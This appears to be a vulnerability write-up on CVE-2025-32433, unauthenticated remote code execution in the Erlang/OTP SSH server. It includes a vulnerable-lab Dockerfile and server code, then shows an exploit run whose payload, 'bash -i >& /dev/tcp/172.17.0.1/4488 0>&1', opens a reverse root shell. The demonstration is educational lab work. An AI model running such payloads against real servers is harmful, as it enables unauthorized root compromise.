"A serious vulnerability has been identified in the Erlang/OTP SSH server that may allow an attacker to perform unauthenticated remote code execution (RCE)."
The SSH server accepts and processes certain message types (like channel_request
) before authentication was complete - in clear violation of the SSH protocol (RFC 4252 Section 6). This make it possible for a unauthenticated attacker to:
Open a TCP connection to the SSH server.
Send valid SSH_MSG_KEXINIT
, then:
Skip authentication completely, and
Send a channel_request
with exec
and payload like:
Copy file:write_file(\"/payload.txt\", <<\"pwned\">>).
Which would eventually be passed into Erlang's evaluation path - resulting in unauthenticated remote code execution .
Setup dev environment
Files needed, ssh_server.erl
and Dockerfile
:
Copy %% ssh_server.erl
-module(ssh_server).
-export([start/0]).
start() ->
io:format("Starting vulnerable SSH server~n"),
application:ensure_all_started(ssh),
case ssh:daemon(2222, [
{system_dir, "/root/ssh_keys"},
{auth_methods, "password"},
{pwdfun, fun(User, Pass) ->
io:format("Login attempt ~p/~p~n", [User, Pass]),
false
end}
]) of
{ok, Pid} ->
io:format("SSH Daemon started successfully. Pid: ~p~n", [Pid]);
{error, Reason} ->
io:format("Failed to start SSH daemon: ~p~n", [Reason])
end.
Copy ## Dockerfile
FROM debian:bookworm
WORKDIR /build
RUN apt-get update && apt-get install -y \
git build-essential libssl-dev autoconf libncurses5-dev \
libgl1-mesa-dev libglu1-mesa-dev libpng-dev \
libssh-dev libxml2-utils xsltproc fop wget curl \
openssh-client
# Clone and build Erlang/OTP 26.2.5.10
RUN git clone https://github.com/erlang/otp.git && \
cd otp && \
git checkout OTP-26.2.5.10 && \
./configure --prefix=/usr && \
make -j$(nproc) && \
make install
WORKDIR /root
COPY ssh_server.erl .
RUN erlc ssh_server.erl
# Generate RSA key in PEM format that Erlang understands
RUN mkdir -p /root/ssh_keys && \
ssh-keygen -m PEM -t rsa -b 2048 -f /root/ssh_keys/ssh_host_rsa_key -N "" && \
ssh-keygen -y -f /root/ssh_keys/ssh_host_rsa_key > /root/ssh_keys/ssh_host_rsa_key.pub
EXPOSE 2222
CMD ["erl", "-noshell", "-pa", ".", "-s", "ssh_server", "start"]
Use the Dockerfile to setup a Docker container running the vulnerable Erlang OTP version 26.2.5.10. Note this will take a few minutes so be patient.
Copy kdev :: ~/erlang/CVE-2025-32433 ‹main› » docker build -t erlang-ssh .
Sending build context to Docker daemon 74.75kB
Step 1/10 : FROM debian:bookworm
[... many minutes later ...]
Step 10/10 : CMD ["erl", "-noshell", "-pa", ".", "-s", "ssh_server", "start"]
---> Running in ece5765314cc
---> Removed intermediate container ece5765314cc
---> 14c230c25701
Successfully built 14c230c25701
Successfully tagged erlang-ssh:latest
kdev :: ~/erlang/CVE-2025-32433 ‹main› » docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh
kdev :: ~/erlang/CVE-2025-32433 ‹main› » docker container ls
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
cf0f300797ea erlang-ssh "erl -noshell -pa . …" 17 seconds ago Up 16 seconds 0.0.0.0:2222->2222/tcp erlang-ssh
kdev :: ~/erlang/CVE-2025-32433 ‹main› » nc 127.0.0.1 2222 -v
localhost [127.0.0.1] 2222 (?) open
SSH-2.0-Erlang/5.1.4.7
POC || GTFO
Copy kdev :: ~/erlang/CVE-2025-32433 ‹main*› » python3 cve-2025-32433.py -h
usage: cve-2025-32433.py [-h] [-d] [--host HOST] [--port PORT]
Exploit for CVE-2025-32433 (Erlang OTP SSH server).
options:
-h, --help show this help message and exit
-d, --debug Print raw response in hex format
-t, --target TARGET Target host (default: 127.0.0.1)
-p, --port PORT Target port (default: 2222)
kdev :: ~/erlang/CVE-2025-32433 ‹main*› » python3 cve-2025-32433.py -t 127.0.0.1 -p 2222
[*] Connecting to SSH server...
[✓] Banner: SSH-2.0-Erlang/5.1.4.7
[*] Sending KEXINIT...
[*] Opening channel...
[?] Shell command: bash -i >& /dev/tcp/172.17.0.1/4488 0>&1
[*] Sending CHANNEL_REQUEST...
[✓] Payload sent.
Copy kdev :: ~/erlang/CVE-2025-32433 ‹main*› » nc -lvnp 4488
listening on [any] 4488 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 58338
root@cf0f300797ea:~# id && hostname
uid=0(root) gid=0(root) groups=0(root)
cf0f300797ea